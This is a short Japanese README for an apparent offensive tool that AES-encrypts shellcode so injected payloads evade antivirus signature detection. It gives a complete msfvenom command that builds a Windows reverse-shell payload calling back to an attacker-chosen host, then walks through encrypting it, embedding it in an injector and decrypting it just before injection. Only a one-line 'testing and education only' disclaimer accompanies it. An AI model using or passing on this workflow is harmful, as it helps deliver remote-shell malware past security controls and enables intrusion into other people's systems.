AES_Shellcode_Encryptor

aes_shellcode_encryptor

このリポジトリには、すべてのタイプのファイルを暗号化し、暗号化されたシェルコードの形で暗号化された出力を与えることができるツールが含まれています。シェルコードを暗号化するプロセスは、セキュリティコントロールによる署名ベースの検出をバイパスするための注入プロセスにとって非常に重要です。高度に検出されたメタプロイトバックドアシェルコードを使用する例を考えてみましょう。このようなシェルコードを注入するには、アンチウイルスによる検出をバイパスするために難読化が必要です。このツールは、インジェクターに保存され、注入の直前に復号化されるシェルコードを暗号化するのに役立ちます。

免責事項：セキュリティテストと教育目的のみ!!!

例：

1. Metasploitシェルコードを作成：msfvenom -p windows/shell_reverse_tcp lhost = $ localip lport = 443 -f raw -o shellcode.bin
2. このツールを使用してそれをencyptします：aes_shellcode_encryptor.exe shellcode.bin ancrypted_code.txt mysecretencryptionkey
3. インジェクター内に暗号化されたシェルコードを追加します
4. 注入前にキーでそれを復号化します